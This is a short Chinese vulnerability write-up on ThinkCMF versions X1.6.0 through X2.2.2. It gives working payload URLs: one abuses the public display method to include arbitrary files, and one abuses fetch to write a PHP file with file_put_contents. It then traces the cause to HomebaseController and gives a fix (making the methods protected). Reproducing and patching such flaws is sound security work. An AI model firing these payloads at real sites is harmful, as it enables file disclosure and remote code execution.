ThinkCMF是一款基於ThinkPHP+MySQL開發的中文內容管理框架。php
利用前提html
ThinkCMF X1.6.0 ThinkCMF X2.1.0 ThinkCMF X2.2.0 ThinkCMF X2.2.1 ThinkCMF X2.2.2
經過構造a參數的display方法,實現任意內容包含
payload:http://127.0.0.1/cmfx-X2.2.2/?a=display&templateFile=README.md
緩存
經過構造a參數的fetch方法,實現任意文件寫入,復現過程當中有時能寫入,有時沒法寫入。
payload:?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>
app
首先打開index.php,找到項目路徑,定位到application框架
//開啓調試模式 define("APP_DEBUG", true); //網站當前路徑 define('SITE_PATH', dirname(__FILE__)."/"); //項目路徑,不可更改 define('APP_PATH', SITE_PATH . 'application/'); //項目相對路徑,不可更改 define('SPAPP_PATH', SITE_PATH.'simplewind/'); // define('SPAPP', './application/'); //項目資源目錄,不可更改 define('SPSTATIC', SITE_PATH.'statics/'); //定義緩存存放路徑 define("RUNTIME_PATH", SITE_PATH . "data/runtime/"); //靜態緩存目錄 define("HTML_PATH", SITE_PATH . "data/runtime/Html/");
打開application/Portal/Controller/IndexController
,發現display方法,繼續追蹤HomebaseController函數
use Common\Controller\HomebaseController; /** * 首頁 */ class IndexController extends HomebaseController { //首頁 小夏是老貓除外最帥的男人了 public function index() { $this->display(":index"); } }
追蹤HomebaseController,定位到display方法,display函數的做用是加載模板和頁面輸出,templateFile爲模板文件地址,charset爲模板字符集,contentType爲輸出類型,content爲輸出內容。另外存在public權限的函數還有fetch,fetch函數的做用是獲取頁面內容,templateFile爲模板文件,content爲輸出內容,prefix爲模板緩存前綴。
fetch
將HomebaseController.class.php和AdminbaseController.class.php類中display和fetch函數的修飾符改成protected。
參考網站